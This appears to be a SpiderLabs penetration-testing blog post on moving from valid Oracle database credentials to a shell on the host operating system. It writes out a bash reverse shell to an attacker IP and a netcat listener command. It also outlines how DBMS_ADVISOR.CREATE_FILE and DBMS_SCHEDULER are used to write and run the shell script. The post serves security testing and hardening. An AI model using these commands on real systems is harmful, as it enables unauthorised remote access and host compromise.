We know from our Global Security Report 2012 (www.trustwave.com/GSR) that 89% of the
300+ data breaches we investigated last year, the target data was “customer records” - and you might assume that a DBA will always know what it takes to secure an organization’s keys to the kingdom – customer records.
However, we in SpiderLabs are confronted with Oracle databases on internal network penetration tests where default or easily guessable Oracle System ID’s (SIDs) are used, and default or easily guessable database credentials are used. Having access to the Oracle database with one credential usually ends up with total system compromise, including the host, if not locked down sufficiently.
Just to recap the basics of Oracle hacking (not using available exploits), for those who are unfamiliar:
The point of this blog is not to reiterate the basics (points 1-5) which are sprawled elsewhere on the Internet in great detail, but more point 6) going after the OS.
Going back to my scenario… assume we’ve harvested the data from the database, and we still have time left to own the host. In this example, we’ll assume that only the Oracle port is accessible on the target host, but we would like an interactive shell, to further our attack possibilities. So, I wasn’t interested in testing out all the possible exploits available, but more what can you do with a valid login credential to the Oracle database to read/write and gain access to the underlying host.
I was after some PL/SQL code that would create a text file (a bash script) on the target host, change it to an executable (it was UNIX), run it and then see what I could do from there.
Well, my own goal was to get a shell onto the box. Given that only Oracle TCP 1521 was open, we needed a reverse shell. One of the simplest reverse shells out there is a bit of bash hokey pokey:
bash -i >& /dev/tcp/10.1.1.1/12345 0>&1
When run on our target host, this creates a new descriptor which is assigned to a network node. All we have to do is create a TCP listener on our attacking host, the same value as the port assigned above (12345):
nc –l –p 12345
OK, so I knew what I wanted to do in my bash script to write on the Oracle host. What’s the best way to interact with the host operating system, i.e. write a script to the local system and run it?
Oracle has a number of tools that are shipped by default and there are different methods of writing to the operating system. The method I used provided the least grief, and worked first time. Note that the method I’ll show below will work from Oracle 10g or greater.
- I used the SYS.DBMS_ADVISOR.CREATE_FILE function to create a file dk_shell.sh and write it to /tmp. The file contents contained the bash reverse shell commands 'bash -i >& /dev/tcp/$HOST/$PORT 0>&1’ (where $HOST was the attacking IP I gave to the script, and $PORT was the port listener that I created with netcat
- I then used the DBMS_SCHEDULER.CREATE_JOB function to create a job called ‘myjob’ which ran the command chmod 755 on /tmp/dk_shell.sh
- I finally used the DBMS_SCHEDULER again to run my script /tmp/dk_shell.sh